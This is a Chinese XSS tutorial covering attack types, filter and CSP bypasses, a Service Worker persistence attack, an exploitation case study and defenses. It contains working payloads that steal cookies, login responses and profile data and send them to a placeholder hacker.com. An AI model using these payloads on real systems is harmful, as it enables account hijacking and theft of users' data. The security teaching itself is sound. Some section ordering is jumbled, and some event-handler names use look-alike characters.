XSS攻擊:從原理入門到實戰精通詳解

一、XSS攻擊基礎概念

1.1 什么是XSS攻擊
XSS(Cross-Site Scripting,跨站腳本攻擊)是一種將惡意腳本注入到可信網站中的攻擊手段。當用戶訪問被注入惡意代碼的頁面時,瀏覽器會執行這些代碼,導致:

  • 用戶會話被劫持(盜取Cookie)

  • 網頁內容被篡改

  • 敏感信息被竊取

  • 惡意軟件傳播

1.2 為何稱為跨站腳本
“跨站”指攻擊者利用第三方網站漏洞實施攻擊,“腳本”強調攻擊載體是JavaScript等腳本語言。與CSRF的區別在于:

  • XSS:利用用戶對網站的信任

  • CSRF:利用網站對用戶瀏覽器的信任

1.3 攻擊原理核心

二、XSS攻擊類型深度解析

2.1 反射型XSS(非持久化)

  • 攻擊流程

    1. 攻擊者制作惡意URL:http://victim.com/search?q=<script>stealCookie()</script>

    2. 誘導用戶點擊(通過郵件/即時消息)

    3. 服務器返回包含惡意腳本的搜索結果頁

    4. 用戶瀏覽器執行腳本

  • 經典案例

    html

    <!-- 服務端代碼(PHP示例) -->
    <div>搜索結果:<?php echo $_GET['q']; ?></div><!-- 惡意URL -->
    http://victim.com/search?q=<script>new Image().src='http://hacker.com/steal?cookie='+document.cookie</script>

2.2 存儲型XSS(持久化)

  • 攻擊流程

    1. 攻擊者在論壇/評論區提交含惡意腳本的內容

    2. 內容存儲到數據庫

    3. 其他用戶訪問包含該內容的頁面

    4. 惡意腳本自動執行

  • 高危場景

    javascript

    // 用戶資料頁攻擊
    <script>fetch('/change-email', {method: 'POST',body: 'email=hacker@evil.com'})
    </script>

2.3 DOM型XSS

  • 特殊性質:完全不經過服務器,純客戶端漏洞

  • 攻擊模型

  • 漏洞代碼示例

    html

    <script>// 從URL片段獲取參數const token = location.hash.substring(1);document.write("Token: " + token); 
    </script><!-- 惡意URL -->
    http://victim.com#<img src=x οnerrοr=alert(document.cookie)>
  • 三、高級XSS攻擊技術

    3.1 繞過過濾的編碼技巧

  • HTML實體編碼繞過

    javascript

    // 原始:<script>alert(1)</script>
    // 繞過:<scr<script>ipt>alert(1)</script>
  • Unicode混淆

    javascript

    "\u003cscript\u003ealert(1)\u003c/script\u003e"
  • SVG矢量圖攻擊

    html

    <svg οnlοad="alert(document.domain)"><animate attributeName="x" values="0;100" begin="0s" dur="5s"/>
    </svg>
  • 3.2 基于CSP繞過的攻擊

    即使有Content Security Policy保護,仍可能被繞過:

    http

    Content-Security-Policy: script-src 'self' https://cdn.example.com

    攻擊方式:

    html

    <!-- 利用JSONP端點 -->
    <script src="https://cdn.example.com/jsonp?callback=alert(1)"></script>

    3.3 Service Worker持久化攻擊

    javascript

    // 注冊惡意Service Worker
    navigator.serviceWorker.register('hacker-sw.js').then(() => {console.log('SW registered!');
    });// hacker-sw.js內容
    self.addEventListener('fetch', event => {if(event.request.url.includes('login')) {event.respondWith(fetch(event.request).then(res => {const clone = res.clone();clone.text().then(data => {fetch('https://hacker.com/log', { method: 'POST', body: data });});return res;}));}
    });

    四、企業級防御方案

    4.1 輸入驗證與輸出編碼

    數據類型過濾規則編碼方法
    HTML正文禁用< > & " 'HTML實體編碼
    HTML屬性嚴格限制屬性字符集[a-zA-Z0-9_-]屬性引號包裹+URL編碼
    JavaScript變量禁止用戶輸入直接進入JS執行環境Unicode轉義
    CSS值驗證color/url等格式CSS轉義序列

    4.2 內容安全策略(CSP)最佳實踐

    http

    Content-Security-Policy: default-src 'none'; script-src 'self' 'sha256-abc123...' https://trusted.cdn.com; style-src 'self' 'unsafe-inline'; img-src * data:; connect-src 'self'; frame-ancestors 'none'; form-action 'self';upgrade-insecure-requests;

    4.3 深度防御策略

  • Cookie保護

    http

    Set-Cookie: sessionId=123; HttpOnly; Secure; SameSite=Strict
  • XSS防御頭

    http

    X-XSS-Protection: 1; mode=block
    X-Content-Type-Options: nosniff
  • 現代瀏覽器特性

    html

    <!-- 啟用Trusted Types API -->
    <meta http-equiv="Content-Security-Policy" content="require-trusted-types-for 'script'">
  • Web Components:Shadow DOM可能繞過傳統檢測

  • WebAssembly:內存操作可能被利用

  • Serverless架構:無服務器環境的XSS防護挑戰

  • 6.2 自動化檢測工具

    工具名稱類型檢測能力
    OWASP ZAP動態掃描自動爬取+啟發式檢測
    XSStrike高級探測上下文分析+繞過檢測
    DOM Invader瀏覽器插件DOM型XSS可視化跟蹤
    Burp Suite Pro商業工具全流程漏洞檢測

    6.3 安全開發全流程

    五、實戰:從漏洞挖掘到防御(電商網站案例)

    5.1 漏洞發現

    測試payload

    javascript

    "><svg/οnlοad=console.log(`XSS:${document.cookie}`)>

    響應分析

    html

    <!-- 返回頁面片段 -->
    <div class="product-description">"><svg/οnlοad=console.log(`XSS:${document.cookie}`)>
    </div>

    5.2 漏洞利用

    構造高級攻擊鏈:

    javascript

    fetch('/api/user/profile').then(res => res.json()).then(data => {const pl = new URLSearchParams();pl.append('email', data.email);pl.append('phone', data.phone);fetch('https://hacker.com/exfil', {method: 'POST',body: pl});});

    5.3 修復方案

    Node.js修復代碼

    javascript

    // 使用DOMPurify庫
    const createDOMPurify = require('dompurify');
    const { JSDOM } = require('jsdom');
    const window = new JSDOM('').window;
    const DOMPurify = createDOMPurify(window);app.get('/product', (req, res) => {const desc = DOMPurify.sanitize(req.query.description, {ALLOWED_TAGS: ['p', 'br', 'strong'],FORBID_ATTR: ['style', 'onclick']});res.send(`<div class="desc">${desc}</div>`);
    });

    六、前沿研究與擴展閱讀

    6.1 Web新特性中的XSS

    研究報告數據:根據Acunetix 2023全球應用安全報告,XSS漏洞占所有Web漏洞的23%,平均修復時間為97天,是滲透測試中最常被利用的漏洞之一。


    附錄:XSS速查表

    攻擊場景防護方案工具支持
    富文本編輯器嚴格白名單+CSS過濾DOMPurify/clsanitize
    AJAX數據渲染前端模板引擎自動編碼Vue/React/Angular
    URL參數處理URL解碼+嚴格驗證URLSearchParams
    Cookie訪問HttpOnly+Secure屬性Web框架配置
    第三方庫漏洞SCA(軟件成分分析)工具Snyk/Dependabot

    本指南從基礎原理到企業級防護策略,覆蓋了XSS攻防的完整知識體系。實際防御需要結合安全編碼、自動化測試、運行時防護的多層縱深防御,才能有效應對不斷進化的XSS攻擊手法。

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/diannao/95777.shtml
繁體地址,請注明出處:http://hk.pswp.cn/diannao/95777.shtml
英文地址,請注明出處:http://en.pswp.cn/diannao/95777.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

Leetcode 14 java

今天復習一下以前做過的題目&#xff0c;感覺是忘光了。 160. 相交鏈表 給你兩個單鏈表的頭節點 headA 和 headB &#xff0c;請你找出并返回兩個單鏈表相交的起始節點。如果兩個鏈表不存在相交節點&#xff0c;返回 null 。 圖示兩個鏈表在節點 c1 開始相交&#xff1a; 題目數…

用 FreeMarker 動態構造 SQL 實現數據透視分析

在 ERP、BI 等系統中&#xff0c;數據透視分析&#xff08;Pivot Analysis&#xff09;是非常常見的需求&#xff1a;用戶希望按任意維度&#xff08;如門店、時間、商品分類等&#xff09;進行分組統計&#xff0c;同時選擇不同的指標&#xff08;如 GMV、訂單數、客單價等&am…

13.深度學習——Minst手寫數字識別

第一部分——起手式 import torch from torchvision import datasets, transforms import torch.nn as nn import torch.nn.functional as F import torch.optim as optimuse_cuda torch.cuda.is_available()if use_cuda:device torch.device("cuda") else: device…

【JAVA高級】實現word轉pdf 實現,源碼概述。深坑總結

之前的需求做好后,需求,客戶突發奇想。要將生成的word轉為pdf! 因為不想讓下載文檔的人改動文檔。 【JAVA】實現word添加標簽實現系統自動填入字段-CSDN博客 事實上這個需求難度較高,并不是直接轉換就行的 word文檔當中的很多東西都需要處理 public static byte[] gener…

數據驅動測試提升自動化效率

測試工程師老王盯著滿屏重復代碼嘆氣&#xff1a;“改個搜索條件要重寫20個腳本&#xff0c;這班加到啥時候是個頭&#xff1f;” 隔壁組的小李探過頭&#xff1a;“試試數據驅動唄&#xff0c;一套腳本吃遍所有數據&#xff0c;我們組上周測了300個組合都沒加班&#xff01;”…

模板引用(Template Refs)全解析2

三、v-for 中的模板引用 當在 v-for 中使用模板引用時,引用的 value 會自動變為一個數組,包含列表中所有元素/組件的引用(需 Vue 3.5+ 版本,舊版需手動處理且順序不保證)。 1. 基本用法(Vue 3.5+) <script setup> import { ref, useTemplateRef, onMounted } f…

【Linux系統】進程間通信:System V IPC——共享內存

前文中我們介紹了管道——匿名管道和命名管道來實現進程間通信&#xff0c;在介紹怎么進行通信時&#xff0c;我們有提到過不止管道的方式進行通信&#xff0c;還有System V IPC&#xff0c;今天這篇文章我們就來學習一下System V IPC中的共享內存1. 為何引入共享內存&#xff…

[優選算法專題二滑動窗口——最大連續1的個數 III]

題目鏈接 最大連續1的個數 III 題目描述 題目解析 問題本質 輸入&#xff1a;二進制數組nums&#xff08;只包含 0 和 1&#xff09;和整數k操作&#xff1a;最多可以將k個 0 翻轉成 1目標&#xff1a;找到翻轉后能得到的最長連續 1 的子數組長度 這個問題的核心是要找到一…

C#單元測試(xUnit + Moq + coverlet.collector)

C#單元測試 xUnit Moq coverlet.collector 1.添加庫 MlyMathLib 2.編寫庫函數內容 using System;namespace MlyMathLib {public interface IUserRepo{string GetName(int id);}public class UserService{private readonly IUserRepo _repo;public UserService(IUserRepo repo…

【數據庫】Oracle學習筆記整理之五:ORACLE體系結構 - 參數文件與控制文件(Parameter Files Control Files)

Oracle體系結構 - 參數文件與控制文件&#xff08;Parameter Files & Control Files&#xff09; 參數文件與控制文件是Oracle數據庫的“雙核基石”&#xff1a;參數文件是實例的“啟動配置中心”&#xff0c;定義運行環境與規則&#xff1b;控制文件是數據庫的“物理元數據…

GDB典型開發場景深度解析

GDB典型開發場景深度解析 以下是開發過程中最常見的GDB使用場景&#xff0c;結合具體實例和調試技巧&#xff0c;幫助開發者高效解決實際問題&#xff1a;一、崩潰分析&#xff08;Core Dump調試&#xff09; 場景&#xff1a;程序突然崩潰&#xff0c;生成了core文件 # 啟動調…

存儲、硬盤、文件系統、 IO相關常識總結

目錄 &#xff08;一&#xff09;存儲 &#xff08;1&#xff09;定義 &#xff08;2&#xff09;分類 &#xff08;二&#xff09;硬盤 &#xff08;1&#xff09;容量&#xff08;最主要的參數&#xff09; &#xff08;2&#xff09;轉速 &#xff08;3&#xff09;訪…

docker安裝mongodb及java連接實戰

1.docker部署mongodb docker run --name mongodb -d -p 27017:27017 -v /data/mongodbdata:/data/db -e MONGO_INITDB_ROOT_USERNAMEtestmongo -e MONGO_INITDB_ROOT_PASSWORDtest123456 mongodb:4.0.112.項目實戰 <dependencies><dependency><groupId>org.m…

Java設計模式之《工廠模式》

目錄 1、介紹 1.1、定義 1.2、優缺點 1.3、使用場景 2、實現 2.1、簡單工廠模式 2.2、工廠方法模式 2.3、抽象工廠模式 3、小結 前言 在面向對象編程中&#xff0c;創建對象實例最常用的方式就是通過 new 操作符構造一個對象實例&#xff0c;但在某些情況下&#xff0…

【異步】js中異步的實現方式 async await /Promise / Generator

JS的異步相關知識 js里面一共有以下異步的解決方案 傳統的回調 省略 。。。。 生成器 Generator 函數是 ES6 提供的一種異步編程解決方案, 語法上&#xff0c;首先可以把它理解成&#xff0c;Generator 函數是一個狀態機&#xff0c;封裝了多個內部狀態。執行 Generator 函數…

JVM字節碼文件結構

Class文件結構class文件是二進制文件&#xff0c;這里要介紹的是這個二級制文件的結構。思考&#xff1a;一個java文件編譯成class文件&#xff0c;如果要描述一個java文件&#xff0c;需要哪些信息呢&#xff1f;基本信息&#xff1a;類名、父類、實現哪些接口、方法個數、每個…

11.web api 2

5. 操作元素屬性 5.1操作元素常用屬性 &#xff1a;通過 JS 設置/修改標簽元素屬性&#xff0c;比如通過 src更換 圖片最常見的屬性比如&#xff1a; href、title、src 等5.2 操作元素樣式屬性 &#xff1a;通過 JS 設置/修改標簽元素的樣式屬性。使用 className 有什么好處&a…

java中數組和list的區別是什么?

在Java中&#xff0c;數組&#xff08;Array&#xff09;和List&#xff08;通常指java.util.List接口的實現類&#xff0c;如ArrayList、LinkedList&#xff09;是兩種常用的容器&#xff0c;但它們在設計、功能和使用場景上有顯著區別。以下從核心特性、使用方式等方面詳細對…

Python爬取推特(X)的各種數據

&#x1f31f; Hello&#xff0c;我是蔣星熠Jaxonic&#xff01; &#x1f308; 在浩瀚無垠的技術宇宙中&#xff0c;我是一名執著的星際旅人&#xff0c;用代碼繪制探索的軌跡。 &#x1f680; 每一個算法都是我點燃的推進器&#xff0c;每一行代碼都是我航行的星圖。 &#x…

Oracle數據庫文件管理與空間問題解決指南

在Oracle數據庫運維中&#xff0c;表空間、數據文件及相關日志文件的管理是保障數據庫穩定運行的核心環節。本文將系統梳理表空間與數據文件的調整、關鍵文件的移動、自動擴展配置&#xff0c;以及常見空間不足錯誤的排查解決方法&#xff0c;為數據庫管理員提供全面參考。 一、…